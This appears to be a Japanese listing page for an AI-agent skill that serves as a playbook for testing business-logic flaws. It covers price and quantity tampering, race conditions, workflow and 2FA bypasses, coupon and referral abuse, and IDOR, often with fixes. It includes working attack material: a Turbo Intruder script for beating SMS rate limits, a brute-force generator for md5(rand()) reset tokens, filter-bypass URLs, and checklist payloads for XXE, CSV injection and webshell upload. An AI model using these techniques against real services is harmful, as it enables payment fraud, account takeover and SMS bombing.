mcpField
B
business-logic-vulnerabilities

business-logic-vulnerabilities

github.com/yaklangセキュリティ2.6k3.9k 回インストール6 週間前に更新
リポジトリ

business-logic-vulnerabilities について

business-logic-vulnerabilitiesは、自動スキャナーでは見つけにくいアプリケーションのロジック不備を調べるセキュリティテストスキルです。価格操作、競合状態、ワークフローの迂回、クーポン、アカウント権限を扱い、方法論やチェックリスト、シナリオの関連ファイルも備えています。

主な機能

  1. 01価格・価値操作の確認
  2. 02競合状態のテスト
  3. 03ワークフローや手順の迂回
  4. 04クーポン・紹介制度の悪用確認
  5. 05アカウント権限ロジックの確認
  6. 06方法論・チェックリストの関連資料

活用シーン

  1. 01購入時の価格検証テスト
  2. 02クーポン同時利用の確認
  3. 03複数段階の決済フローの点検
  4. 04アカウント復旧と権限の監査

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/yaklang/hack-skills --skill business-logic-vulnerabilities

インストール後、Claude Code で/business-logic-vulnerabilitiesを入力して読み込まれたか確認します。

同梱ファイル

SKILL.md と一緒にインストールされる参考資料やスクリプト。

CHECKLIST.md
METHODOLOGY.md
SCENARIOS.md

詳細

SKILL:ビジネスロジックの脆弱性 — エキスパート向け攻撃プレイブック

AI LOAD INSTRUCTION:ビジネスロジックの欠陥はスキャナーでは検出できず、バグバウンティでは高い報酬につながります。このスキルでは、競合状態、価格操作、ワークフローのバイパス、クーポン/紹介の悪用、負の値、ステートマシン攻撃を扱います。これらには自動化ではなく、人間による推論が必要です。具体的な悪用手法(決済の精度/オーバーフロー、CAPTCHA バイパス、パスワードリセットの欠陥、ユーザー列挙)については、関連する SCENARIOS.md を読み込んでください。ワークフローの進め方自体(モデル化 → ステートマシン → 攻撃対象領域のマトリックス → 人間による判断)については、METHODOLOGY.md を読み込んでください。モジュールごとの確認項目については、CHECKLIST.md を読み込んでください。

関連ファイル
ファイル読み込むタイミング
METHODOLOGY.md5 フェーズのワークフロー、攻撃対象領域の 5×N マトリックス、人間による判断のための決定木が必要な場合
CHECKLIST.md対象をモジュールごと(ログイン/登録/決済/IDOR/プライバシー)に確認し、理由と検証方法を含むすべての項目を確認したい場合
SCENARIOS.md決済の精度/オーバーフロー、CAPTCHA バイパス、パスワードリセット、列挙、フロントエンドのバイパスをさらに詳しく調べる場合
詳細シナリオ

次の場合も SCENARIOS.md を読み込んでください。

  • 決済の精度と整数オーバーフロー攻撃 — 32 ビットオーバーフローによる負の値、小数の丸めを悪用する手法、負の送料
  • 決済パラメーター改ざんのチェックリスト — price、discount、currency、gateway、return_url フィールド
  • 競合状態の実践的なパターン — 並列でのクーポン適用、Burp の group send を使ったギフトカードの二重使用
  • CAPTCHA バイパス手法 — 検証リクエストのドロップ、パラメーターの削除、カウンターをリセットするための Cookie のクリア、tesseract を使った OCR
  • 任意のパスワードリセット — 予測可能なトークン(md5(username))、セッション置換攻撃、登録時の上書き
  • ユーザー情報の列挙 — ログイン時のエラーメッセージの違い、エンドポイント間でのマスク済みデータの再構築、base64 uid Cookie の改ざん
  • フロントエンドの制限のバイパス — 複数のクーポンを使うための配列パラメーター(couponid[0]/couponid[1])、disabled/readonly 属性の削除
  • アプリケーション層の DoS パターン — 正規表現のバックトラッキング、WebSocket の悪用

1. 価格と価値の操作

負の数量/価格

多くのアプリケーションでは「amount > 0」を検証しますが、通貨については検証しません。

Add to cart with quantity: -1
Update quantity to: -100
{
  "quantity": -5,
  "price": -99.99     ← may be accepted
}

影響:アカウントにクレジットを付与する、商品を無料で入手する、銀行振込を逆方向に行う。

小数の数量 — 「0元購入」の事例

実際の講師主導の事例:ある EC アプリは、バックエンドがクライアントの浮動小数点数を信頼していたため、小数の quantity を受け付けていました。

// Cart item:
{"id": 114016, "skuQty": 0.02}
// Original price ¥500 → final price ¥10
// Variant on a food delivery app:
// FoodNum=0.01 → 68元 商品 实付 0.68元

成功する理由:サーバーは quantity ∈ Z+ を強制せずに unit_price * quantity を乗算するため、商品の 2%分だけ注文すると、価格の 2%を支払うだけで商品全体が発送されます。カート送信を傍受し、skuQty/FoodNum を 0.02 に設定してから、チェックアウトを完了すると再現できます。

必須フィールドの削除 — 無料プランへの強制

スポーツアクティビティの登録では、賞品が有料の場合、サーバーは "payType": "paid" を返します。クライアントのリクエストを編集して prizeIdList を丸ごと省略すると、サーバーは "payType": "free" にフォールバックし、本来は有料である登録が正常に作成されます。

// Original
{"prizeIdList": ["6264e6948fe587000113e2d9"], ...}
// Modified — array removed entirely
{"prizeIdList": [], ...}
// Server response:
{"ok": true, "payType": "free"}

これはパラメーターの存在を信頼するバグです。バックエンドは「フィールドが存在しない」ことを「強制すべき有料アイテムがない」こととして扱います。そのため、フィールドを必須にし、サーバー側で内容を検証する必要があります。

整数オーバーフロー
quantity: 2147483648   ← INT_MAX + 1 overflows to negative in 32-bit
price: 9999999999999   ← exceeds float precision → rounds to 0

実際の事例:amount=999999999 を設定するとオーバーフローの経路が引き起こされ、システムは最終的な支払額として 0 を保存しました。オーバーフローテストを実行する前に、必ず関係者と調整してください。決済サービスがクラッシュすることがあります。

丸めの操作
Item price: $0.001
Order 1000 items → each rounds down → total = $0.00

実際にあった「チャージで半額」バグ:チャージ額に ¥0.019 を入力します。決済ゲートウェイの請求額は 1 セントに切り捨てられて ¥0.01 になりますが、ウォレットへの付与額は切り上げられて ¥0.02 になります。1 回ごとの純利益は ¥0.01 で、繰り返すと無料残高を増やせます。

為替レートの反映遅延
1. Deposit using currency A at rate X
2. Rate changes
3. Withdraw using currency A at new rate → profit from rate difference
プロモーションの併用による無料アップグレード

割引コード、紹介クレジット、ウェルカムボーナスの併用をテストします:

Apply promo: FREE50  → 50% off
Apply promo: REFER10 → additional 10%
Apply loyalty points → additional discount
Total: -$5 (free + credit)

2. 競合状態

概念:最初の操作がチェックと更新のサイクルを完了する前に、2つの操作が同時に実行されます。

二重支払い/二重利用
# Send same request simultaneously (~millisecond apart):
# Use Burp Repeater "Send to Group" or Race Conditions tool:

POST /api/use-coupon    ← send 20 parallel requests
POST /api/redeem-gift   ← same coupon code, parallel
POST /api/withdraw-funds ← same balance, parallel

# If check and update are non-atomic:
# Thread 1: check(balance >= 100) → TRUE
# Thread 2: check(balance >= 100) → TRUE (before Thread 1 deducted)
# Thread 1: balance -= 100
# Thread 2: balance -= 100 → BOTH succeed → double-spend
Burp Suite による競合状態のテスト
1. Capture request
2. Send to Repeater → duplicate 20+ times
3. "Send group in parallel" (Burp 2023+)
4. Check: did any duplicate succeed?
Turbo Intruder — 電話番号ごとの SMS 送信レート制限の回避

実例:通常のリクエストで "该号码短时间内申请发送短信次数过多,拒绝发送" が返る場合でも、Turbo Intruder を使って高い並行数で同じペイロードを送信すると、単純なカウンターを回避できます:

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=30,
                           requestsPerConnection=10,
                           pipeline=False)
    for i in range(30):
        engine.queue(target.req, target.baseInput, gate='race1')
    engine.openGate('race1')

結果:電話番号ごとのレート制限に競合が起き、多数のリクエストがすり抜けて、異なる認証コードが複数生成されます(実際の SMS 爆撃事例)。根本原因は、カウンターのインクリメントが読み取り処理とアトミックではないことです。

複数デバイスからの VIP サブスクリプション同時購入

実例:あるサービスでは、初月限定の割引が提供されています。いずれの支払いも完了する前に複数のデバイス(A、B、C)で決済画面を開き、その後、順番にそれぞれの支払いを完了します。サーバーは最初のリクエストでしか「新規ユーザーか」を確認しないため、後続のすべてのリクエストが割引を引き継ぎ、VIP の利用期間も加算されます。

Normal: 下单 → 支付 → 充值会员 → 第二次下单 → 服务端校验 "已是新人" → 拒绝
Bypass: 设备A: 进入支付页 (锁定优惠资格)
        设备B: 进入支付页 (并发锁定)
        设备A: 完成支付 → VIP +1月 (优惠价)
        设备B: 完成支付 → VIP +1月 (仍按优惠价)

「補差価アップグレード会員」にも同じ手口が使えます。同時に追加購入すると、利用期間のクレジットが重複して付与されます。

アカウント登録時の競合
Register with same email simultaneously → two accounts created → data isolation broken
Password reset token race → reuse same token twice
Email verification race → verify multiple email addresses
競合状態による制限の回避
"Claim once" discounts, freebies, "first order" bonus:
→ Send 10 parallel POST /claim requests
→ Race window: all pass the "already claimed?" check before any write

3. ワークフロー/ステップのスキップによる回避

決済フローの回避
Normal flow:
  1. Add to cart
  2. Enter shipping info
  3. Enter payment (card/wallet)
  4. Click confirm → payment charged
  5. Order confirmed

Attack: Skip to step 5 directly
POST /api/orders/confirm {"cart_id": "1234", "payment_status": "paid"}
→ Does server trust client-sent payment_status?
複数ステップ認証のスキップ
Password reset flow:
  1. Enter email
  2. Receive token
  3. Enter token
  4. Set new password (requires valid token from step 3)

Attack: Try going to step 4 without completing step 3:
POST /reset/password {"email": "[email protected]", "token": "invalid", "new_pass": "hacked"}
→ Does server check that token was properly validated?

Or: Try token from old/expired flow → still accepted?
2FA の回避
Normal flow:
  1. Enter username + password → success
  2. Enter 2FA code → logged in

Attack: After step 1 success, go directly to /dashboard
→ Is session created before 2FA completes?
→ Does /dashboard require 2FA-complete check or just "authenticated" flag?
フィルターパスの切り詰めによる回避 — ..// と ;

Java Web の授業の監査で見つかった実例です。手動実装された Servlet Filter が URI 文字列を調べてログインを確認します。確実に回避できる手法が2つあります:

Path-traversal truncation (../):
  Protected:   http://target/FilterDemo/index.jsp        → 302 to /login
  Bypass:      http://target/FilterDemo/../../index.jsp  → 200 (filter sees "../../", URL parser collapses)

Semicolon truncation (;):
  Protected:   http://target/admin/doLogin.action        → 302 to /login
  Bypass:      http://target/;/admin/doLogin.action      → 200
                              ^
                              Servlet container treats segment after ; as "path parameter",
                              filter that uses request.getRequestURI() sees "/;/admin/doLogin.action",
                              doesn't match its protected-prefix "/admin/", lets the request through,
                              but the dispatcher then routes to the real /admin/doLogin.action handler.

修正方法:セキュリティチェックに request.getRequestURI() を決して使わず、正規化されたサーブレットマッピングパスである request.getServletPath() を使います:

// Vulnerable
String uri = request.getRequestURI();   // /;/admin/doLogin.action
// Safe
String path = request.getServletPath(); // /admin/doLogin.action

Java コードを監査する際は、Filter/startsWith/indexOf("/admin") のパターンと組み合わせて request.getRequestURI() を検索してください。これらはすぐに注意すべき危険な兆候です。

実名認証の再送によるリセット

実名認証に意図的に失敗し、編集フローを再度開く不正な手口です:

1. Submit real-name auth with intentionally wrong cardNumber
   → server returns "code:200, msg:success, ok:true" but flow shows "驳回 / 等待审核"
2. Because the server marks state as "rejected" but doesn't lock the user, the UI lets the
   account go back into the "edit identity" state
3. Now resubmit with another (possibly stolen) identity
   → real-name binding repeats indefinitely, defeating anti-addiction lock and enabling account resale

対策:実名認証の申請が却下された場合、編集画面に戻すのではなく、アカウントをロックするか、人による審査を必須にします。

支払いなしでの発送
  1. Add item to cart
  2. Enter shipping address
  3. Select payment method (credit card)
  4. Apply promo code (100% discount or gift card)  
  5. Final amount: $0
  6. Order placed

Attack: Apply 100% discount code → no actual payment processed → item ships

4. クーポンと紹介制度の悪用

クーポンの併用
Test: Can you apply multiple coupon codes?
Test: Does "SAVE20" + promo stack to >100%?
Test: Apply coupon, remove item, keep discount applied, add different item
紹介ループ
1. Create Account_A
2. Register Account_B with Account_A's referral code → both get credit
3. Create Account_C with Account_B's referral code
4. Ad infinitum with throwaway emails
→ Infinite credit generation
価格が変動する商品に対する固定金額クーポン
Coupon: -$5 off any order
Buy item worth $3, use -$5 coupon → net -$2 (credit balance)

5. アカウント/権限ロジックの不備

メール認証の回避
1. Register with email A (legitimate, verified)
2. Change email to B (attacker's email, unverified)
3. Use account as verified — does server enforce re-verification?

Or: Change email to victim's email → no verification → account claim
パスワードリセットトークンの紐付け
1. Request password reset for your account → get token
2. Change your email address (account settings)
3. Reuse old password reset token → does it still work for old email?

Or: Request reset for [email protected]
    Token sent to victim but check: does URL reveal predictable token pattern?
OAuth アカウント連携の悪用
1. Have victim's email (but not their password)
2. Register with victim's email → get account with same email
3. Link OAuth (Google/GitHub) to your account
4. Victim logs in with Google → server finds email match → merges with YOUR account
Cookie の差し替え — 水平/垂直権限昇格

監査動画で紹介されている、典型的な IDOR のデモです:

1. Login as super-admin → capture request, copy Cookie (JSESSIONID/Token)
2. Logout, login as plain user → capture another request to the SAME endpoint
3. Replay the plain-user request, but swap the Cookie value with the admin's token
4. If the response returns admin-only data → vertical escalation
   If it returns another-user's data → horizontal escalation

よく併発する不具合として、/oa/emp/list は Cookie がない場合は /login への HTTP 302 を返しますが、一般ユーザーの Cookie を送信すると全データを含む 200 を返します。つまり、確認しているのは「ログインしているか」だけで、「このエンドポイントへのアクセス権があるか」ではありません。

データベースの不整合による権限の残存

2回目の監査講座で見つかった、見落とされやすい事例です。管理画面ではロール X の user:list 権限が取り消されたと表示されますが、SQL データを調べると:

SELECT * FROM sys_menu WHERE role_id = 2;
-- two rows for the same menu_id "user:list"

管理画面の「権限を削除」は1行しか削除していません。重複行が残っているため、API にアクセスできます。次の方法で確認します:

SELECT menu_id, COUNT(*) FROM sys_menu GROUP BY menu_id, role_id HAVING COUNT(*) > 1;

教訓:画面上では権限が取り消されているのに API がまだ使える場合は、RBAC テーブルに重複した許可設定や孤立した許可設定がないか確認してください。

弱い乱数によるパスワードリセットトークン

Windows 上の PHP/レガシースタックでは、RAND_MAX = 32768 の rand() が使われています。リセットリンクが /resetpassword.php?id=md5(rand()) を使う場合、キー空間全体を事前に計算できます:

$a = 0;
for ($a = 0; $a <= 32768; $a++) {
    $b = md5($a);
    echo $b . "\r\n";
}

生成された辞書を /resetpassword.php?id=<hash> に対して順に試し、有効なリセットページが返されたら、被害者のパスワードを変更できます。最終的に rand()、(シードを設定していない)mt_rand()、C# のデフォルトシードを使う Random() などを呼び出すトークン生成処理を監査してください。


6. API のビジネスロジックの不備

オブジェクトの状態操作
order.status = "pending"
→ PUT /api/orders/1234 {"status": "refunded"}   ← self-trigger refund
→ PUT /api/orders/1234 {"status": "shipped"}    ← mark as shipped without shipping
トランザクションの再利用
1. Initiate payment → get transaction_id
2. Complete purchase
3. Reuse same transaction_id for second purchase:
   POST /api/checkout {"transaction_id": "USED_TX", "cart": "new_cart"}
カウント制限の操作
Daily transfer limit = $1000
→ Transfer $999, cancel, transfer $999 (limit not updated on cancel)
→ Parallel transfers (race condition on limit check)
→ Different payment types not sharing limit counter
Java Web の「フィルターなし、Spring Security なし」というアンチパターン

監査で見つけやすい兆候:spring-boot-starter-security が含まれておらず、Filter クラスが1つもない Spring Boot プロジェクトです。つまり、開発者が各メソッドでセッションを手動確認していない限り、すべてのコントローラーが guest に対して無防備な状態です。再現方法:

# Inside the source tree
find . -name "*.java" -exec grep -l "Filter" {} \;     # likely empty
find . -name "*.java" -exec grep -l "@PreAuthorize\|@Secured" {} \;

両方とも空であれば、ほぼすべての API で認可が行われていないと考えてください。監査デモから:

public Result score(@RequestParam("userId") Integer userId) {
    Score score = scoreService.selectScoreByUserId(userId);
    return Result.success(score);
}

userId がセッションにログイン中のユーザーと一致するか確認していません → 水平 IDOR です。さらに悪いことに、グローバルに認証を強制する仕組みがないため、Cookie がなくても同じエンドポイントが動作します。

Spring Security の antMatchers カバレッジの抜け

監査動画では、次のように一部しか保護されていない Spring Security 設定も紹介されていました。

.antMatchers("/system/user/info").authenticated()
.antMatchers("/system/menu/**").hasRole("admin")

よくある誤りは、ルールの範囲を狭くしすぎることです。たとえば、/system/user/info は保護されているのに /system/user/list は保護されていない、あるいは /system/menu/** は管理者専用なのに /system/dept/treeData は公開されている、といったケースです。コントローラーのアノテーション(@PreAuthorize("@ss.hasPermi('system:user:list')"))と SecurityConfig を照合してください。アノテーションが付いたすべてのエンドポイントが、SecurityConfig のルールにも対応している必要があります。リファクタリング後には不一致がよく発生します。


7. サブスクリプション/ティアの混同

Free tier: cannot access feature X
Paid tier: can access feature X

Attack: 
- Sign up for paid trial → enable feature X → downgrade to free
  → Does feature X get disabled on downgrade? 
  → Can you continue using feature X?

Or:
- Inspect premium endpoint list from JS bundle
- Directly call premium endpoints with free account token
→ Server checks subscription for UI but not API?
メディア URL の直接漏えい — VIP リソースの制限回避

フィットネス/学習アプリで実際にあった事例です。クライアントがコース詳細をリクエストすると、JSON レスポンスにメディアの生 URL が埋め込まれていました。

GET /gerudo/v2/liveCourse/625020ce8f002700010554c1/detail HTTP/1.1
{
  "previewPullUrl": "http://app-live.../live/app-live_625020ce8f002700010554c2_Preview.flv"
  ...
}

詳細/プレビュー/再生レスポンスをすべて検索し、次のキーワードを探してください。

.flv  .m3u8  .mp4  .mp3  videoUrl  downloadUrl  streamUrl  previewPullUrl

該当する URL はそれぞれ、匿名で再生できるか確認してください(curl、VLC、https://bilibili.github.io/flv.js/demo/ の flv.js デモを使用)。セッションなしで URL を再生できる場合、VIP 制限を破っています。対策:生のリソースパスではなく、ユーザー/IP/Referer に紐付けた、有効期間の短い署名付き URL を使用してください。

リソース ID の置き換え — 無料コースから有料コースへ

関連するバグ:無料コースの詳細が {"id": "60caa21e853f5c1651b27c1b", ...} を返します。URL 内の ID を、既知の有料コース ID に置き換えてください。レスポンスの構造が変わらず、再生可能な URL が含まれている場合 → プレミアムコンテンツに対する IDOR です。対策:単に「ログイン済みか」を確認するのではなく、詳細を取得するたびに所有者との関係を検証してください。


8. ファイルアップロードのビジネスロジック

純粋なロジックの欠陥にとどまらない、アップロード攻撃の全ワークフローについては、次も読み込んでください。

Upload size limit: 10MB
→ Upload 10MB → compress client-side → server decompresses → bomb?
(Zip bomb: 1KB zip → 1GB file = denial of service)

Upload type restriction:
→ Upload .csv for "data import" → inject formulas: =SYSTEM("calc")
  (CSV injection in Excel macro context)
→ Upload avatar → server converts → attack converter (ImageMagick, FFmpeg CVEs)

Storage path prediction:
→ /uploads/USER_ID/filename
→ Can you overwrite other user's file by knowing their ID + filename?

9. テストのアプローチ

For each business process:
1. Map the INTENDED flow (happy path)
2. Ask: "What if I skip step N?"
3. Ask: "What if I send negative/zero/MAX values?"
4. Ask: "What if I repeat this step twice?" (idempotency)
5. Ask: "What happens if I do A then B instead of B then A?"
6. Ask: "What if two users do this simultaneously?"
7. Ask: "Can I modify the 'trusted' status fields?"
8. Think from financial/resource impact angle → highest bounty

正式な5フェーズのワークフロー(ビジネスモデル化 → 状態マシン → 攻撃対象領域マトリックス → チェックリスト主導のテスト → 人による判断)については、METHODOLOGY.md を読み込んでください。「リクエストを前にして、最初に何を試せばよいかわからない」というときのための、1ページの判断ツリー(Q1 ~ Q7)も含まれています。


10. 影響の大きいチェックリスト

why と verify の列を含む、モジュール別の全リスト(ログイン/登録/パスワード復旧/支払い/クーポン/注文/IDOR/プライバシー/VIP/URL リダイレクト/Cookie とトークン/競合状態/コメント)については、CHECKLIST.md を読み込んでください。

以下の、影響の大きい項目を絞り込んだリストは、「30分しかないなら、まずこれを確認する」という項目です。

E コマース/支払い
□ Negative quantity / decimal quantity (skuQty=0.02, FoodNum=0.01) in cart
□ Drop required fields (delete prizeIdList) to coerce free tier
□ amount=999999999 integer overflow → final 0
□ Apply multiple conflicting coupons via array params
□ Race condition: double-spend gift card / same coupon
□ Skip payment step directly to order confirmation  
□ Server-trusted client status fields (payment_status=paid, success:true)
□ Refund without return (trigger refund on delivered item via state change)
□ Multi-device concurrent VIP subscription / 补差价升级
□ Currency rounding exploitation (¥0.019 charge → ¥0.02 wallet credit)
認証/アカウント
□ 2FA bypass by direct URL access after password step
□ Filter bypass: ../../path traversal truncation, ;path-parameter truncation
□ Password reset token reuse after email change
□ Weak random reset token: md5(rand()) on Windows PHP, predictable seed
□ Email verification bypass (change email after verification)
□ OAuth account takeover via email match
□ Register with existing unverified email
□ Cookie replacement (admin → user / user → another user)
□ Real-name verification "故意填错" replay-to-reset
サブスクリプション/制限/リソース
□ Access premium features after downgrade
□ Exceed rate/usage limits via parallel requests (Turbo Intruder)
□ Referral loop for infinite credits
□ Free trial ≠ time-limited (no enforcement after trial)
□ Direct API call to premium endpoint without subscription check
□ Free-course ID swap to paid-course ID (IDOR on resource)
□ Direct media URL exposure in JSON (.flv / .m3u8 / .mp4 in response)
□ Server-side RBAC residue (sys_menu duplicate rows)
□ Java Web no-Filter / Spring Security antMatchers gap

11. 統合チェックリスト(2時間の全体チェック)

セクション10のリストは「30分でできる、手っ取り早く成果の出るチェック」です。このリストはその次の段階です。 数時間かけて、9つすべてのビジネス領域を防御の観点から徹底的に確認したい場合に使います。領域ごとに整理し、各領域内では攻撃手法ごとにまとめています。そのため、列を縦に読むと「このエンドポイントにはどのような種類のバグが存在し得るか」、行を横に読むと「この攻撃はほかにどこで使えるか」を確認できます。

再現手順や各項目のツールも含めた item / why / verify の全項目については、CHECKLIST.md を読み込んでください。このセクションでは、すばやく確認できるよう項目のみを記載しています。

11.1 ログイン/認証
□ Username enumeration via response diff (msg / status code / timing)
□ Username enumeration via SMS-send response (sent vs not-registered)
□ Brute force without lockout (no rate limit on failed login)
□ Default / weak credentials (admin/admin, root/123456) on backend & infra
□ 2FA bypass via direct URL after password step / replay 2FA token
□ Client-trusted login flag (status=success, is_login=true in response body)
□ Third-party / SSO callback IDOR (modify uid in callback to take over)
□ Biometric liveness bypass (replay static photo / pre-recorded video)
□ Open redirect in login/register (return_url, redirect, callback param)
□ Hardware-key signature replay / forgery (USB-Key, PKI cert)
11.2 登録
□ Username / phone / email enumeration via "already exists" response
□ Password strength only enforced client-side (set 123456 server-side)
□ Skip multi-step registration (POST final step directly, miss email verify)
□ Verification code not enforced (empty / random / fixed value passes)
□ SMS / email code replay (same code used twice or across users)
□ Re-register same username after logout, inherit old data / privileges
□ Anti-fraud bypass via N similar virtual accounts (same device, diff email)
□ Mass-register replay-protection missing (no nonce on submit step)
11.3 パスワード復旧/リセット
□ Reset target tampering (uid / email / phone in submit step)
□ Reset token predictable (timestamp-derived, weak hash, short random)
□ Cross-user token reuse (A's reset_token, change B's password)
□ Old-password check missing on logged-in change-password endpoint
□ Skip code-verify step, hit final reset endpoint directly
□ Reset link / answer / token leaked in HTML or JS source
□ Reset token has no expiry / not invalidated after use
□ Reset code base64-only "obfuscated" in response
□ Inconsistent identity across multi-step flow (reset_token from step 2
  reusable in step 4)
□ Old session not revoked after email/phone re-bind
11.4 セッション/トークン
□ Session fixation: pre-login session id remains valid after login
□ Token not bound to user/IP/device (steal cookie → use anywhere)
□ Forged token: weak algorithm md5(username + timestamp), no server salt
□ Stale token still accepted after logout / expiry (no blacklist)
□ Cookie tampering (uid / role / is_admin in cookie trusted server-side)
□ State-machine replay (replay "claim red packet" → re-claim)
□ Anti-replay missing on one-time tokens (CSRF token, OTP, nonce)
□ Sensitive credentials (token, answer, key) hardcoded in front-end JS
□ Privileged session created from public Session ID without re-auth
□ Token works cross-environment (different IP, different UA, no validation)
11.5 支払い/注文
□ Amount tampering: amount = 0.01 / 0 / negative / 0.001
□ Quantity tampering: quantity = -1 / 0.01 / 1.5 / 999999999
□ Integer overflow: quantity * price wraps to 0 or negative
□ Floating-point precision exploit (multi-decimal, accumulated rounding)
□ Currency code swap (CNY → JPY/RUB at same numeric value)
□ Coupon / discount field forge (coupon_id, discount=, free_shipping=true)
□ Item ID swap: replace product_id with cheaper SKU at checkout
□ Signature / sign-field bypass (drop sign param, use stale sign)
□ Payment-callback forgery (status=paid posted to internal callback)
□ Replay paid request → multiple shipments / multiple credit
□ Race / concurrency: oversell, double-spend gift card, double redeem coupon
□ Refund without losing the merchandise / virtual rights
□ VIP duration tampering (days=999, months=120, period=-1)
□ Receiver-account redirect (merchant_id / receiver_account swap on withdraw)
□ Negative shipping / fee fields decreasing total (shipping_fee = -500)
□ Concurrent topup-then-refund draining (refund > topup in race window)
□ Pricing rule transition window (price changes at T, replay at T-ε with old rule)
□ Currency rounding micro-arbitrage (charge 0.019 → wallet credit 0.02)
□ Multi-channel inconsistency (online vs cash-on-delivery vs balance pay)
11.6 IDOR/認可
□ Horizontal IDOR: uid / order_id / resource_id swap to victim's
□ Vertical IDOR: role / type / level field set to admin in request
□ Hidden field tampering (data-user-id in HTML / JS state)
□ Email / phone re-bind without verifying old binding
□ UID vs session-token consistency missing (token belongs to A, uid sent as B)
□ Predictable / sequential resource IDs (gift IDs, share-link IDs)
□ Resource enumeration on order / coupon / share / trip-detail endpoint
□ Multi-entry inconsistency: web blocks, mobile API doesn't
□ State-machine illegal transition (claim reward without paying / shipping
  before order paid)
□ Hidden / undocumented admin endpoint accessible without admin auth
□ Cross-role function call (user calls merchant API, rider API, etc.)
□ Privilege via concurrent action (request role-elevation race condition)
11.7 CAPTCHA/確認コード
□ Code returned in plaintext in HTTP response (body / header / JS var)
□ Receiver tampering: change phone / email param to attacker-controlled
□ Empty / fixed code accepted (000000, blank, "test")
□ Drop the code field entirely → request still succeeds
□ Cross-account reuse (A's valid code accepted on B's flow)
□ One-time enforcement missing (same code reusable until expiry)
□ Brute force 4-6 digit code (no attempt limit, no lockout)
□ SMS / email bombing (no rate limit per IP / per phone / no graphical CAPTCHA)
□ Front-end-only "send-success" status (server says fail, FE says success)
□ Code not bound to session (code generated for A, used in B's session)
11.8 ファイルアップロード
□ Content-Type bypass (Content-Type: image/jpeg, body is PHP)
□ Extension trick: double ext (.php.jpg), case mix (.Php), null byte, ;path
□ Filename path traversal (filename=../../webshell.php)
□ File-content polyglot (image with embedded PHP / shell)
□ Office XML repack (unzip docx → inject XML → rezip → upload)
□ XXE via .xml / .dtd upload endpoint
□ Backend-only upload (admin login → upload → exec)
□ Upload race: upload + parallel access before AV scan / cleanup
□ ZIP bomb (1KB → 1GB on server, decompress DoS)
□ CSV formula injection (=SYSTEM("calc"), =cmd|'/c calc'!A1)
□ Storage path predictable / overwritable across users (/uploads/UID/file)
□ Image converter / parser CVE (ImageMagick, FFmpeg, pillow)
11.9 CSRF/SSRF/XXE
□ XXE file read (<!ENTITY x SYSTEM "file:///etc/passwd">)
□ XXE blind via OOB (parameter entity → DNSLog / Burp Collaborator)
□ SSRF via image-import / webhook / preview URL (file://, http://127.0.0.1)
□ SSRF via FTP / gopher / jar / php-wrapper / dict protocols
□ XML parser dangerous wrappers enabled (php://expect, expect://)
□ Out-of-band detection for blind injection (DNSLog confirms server hit)
□ CSRF on state-changing endpoint (no token, no SameSite, no origin check)
□ Payment / withdrawal CSRF via auto-submitting hidden form
□ Login CSRF (force victim to log into attacker account)
□ JSONP / JSONP-callback exploitation as CSRF read primitive
このセクションの使い方
  1. 対象のサーフェスに関連するサブセクションを1~2個印刷するか、スクリーンショットを撮ります。
  2. 各 □ に対して、該当なし/脆弱性なし/脆弱性あり/再確認が必要、のいずれかを記入します。
  3. バグを証明した(またはバグがないことを証明した)正確なエンドポイント、パラメーター、ペイロードを記録し、 レポートを再現可能にします。
  4. 項目によって想定外の事象が発生した場合は、METHODOLOGY.md の Q1~Q7 の判断ツリーを参照します。 このツリーから、隣接するどの項目にも脆弱性がある可能性が高いかが分かります。
  5. 各項目の詳細なペイロード、curl で実行できるコマンド、Burp のスクリーンショットについては、 CHECKLIST.md(完全な3要素)と SCENARIOS.md(実例)を読み込みます。

コメント